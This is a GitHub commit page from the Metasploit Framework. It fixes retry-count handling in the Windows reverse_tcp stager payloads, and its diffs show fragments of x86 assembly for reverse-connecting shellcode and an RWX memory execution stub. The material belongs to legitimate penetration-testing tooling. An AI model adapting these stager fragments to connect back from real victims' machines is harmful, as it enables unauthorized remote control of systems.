Skip to content

Commit ae684c1

Browse files
committed
Land rapid7#9564, honoring retry counts for x86/64 Windows reverse_tcp payloads
2 parents 0f656d6 + 93450b8 commit ae684c1

File tree

4 files changed

+11
-7
lines changed

4 files changed

+11
-7
lines changed

lib/msf/core/handler/reverse_udp.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,12 +51,13 @@ def initialize(info = {})
5151
# XXX: Not supported by all modules
5252
register_advanced_options(
5353
[
54-
OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
5554
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
5655
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
5756
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
5857
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
59-
], Msf::Handler::ReverseUdp)
58+
] +
59+
Msf::Opt::stager_retry_options,
60+
Msf::Handler::ReverseUdp)
6061

6162
self.conn_threads = []
6263
end

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,8 @@ def asm_reverse_tcp(opts={})
125125
push 'ws2_' ; ...
126126
push esp ; Push a pointer to the "ws2_32" string on the stack.
127127
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
128-
call ebp ; LoadLibraryA( "ws2_32" )
128+
mov eax, ebp
129+
call eax ; LoadLibraryA( "ws2_32" )
129130
130131
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
131132
sub esp, eax ; alloc some space for the WSAData structure
@@ -298,7 +299,8 @@ def asm_block_recv(opts={})
298299
dec [esp] ; decrement the counter
299300
300301
; try again
301-
jmp create_socket
302+
jnz create_socket
303+
jmp failure
302304
^
303305
end
304306

lib/msf/core/payload/windows/reverse_tcp_rc4.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -142,7 +142,8 @@ def asm_block_recv_rc4(opts={})
142142
dec [esp] ; decrement the counter
143143
144144
; try again
145-
jmp create_socket
145+
jnz create_socket
146+
jmp failure
146147
^
147148
end
148149

lib/msf/util/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1633,7 +1633,6 @@ def self.generate_nops(framework, arch, len, opts = {})
16331633
# target code there, setting an exception handler that calls ExitProcess
16341634
# and finally executing the code.
16351635
def self.win32_rwx_exec(code)
1636-
16371636
stub_block = %Q^
16381637
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
16391638
; Output: The return value from the API call will be in EAX.
@@ -1741,7 +1740,8 @@ def self.win32_rwx_exec(code)
17411740
exitfunk:
17421741
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
17431742
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1744-
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1743+
mov eax, ebp
1744+
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
17451745
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
17461746
jl goodbye ; Then just call the exit function...
17471747
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...

0 commit comments

Comments
 (0)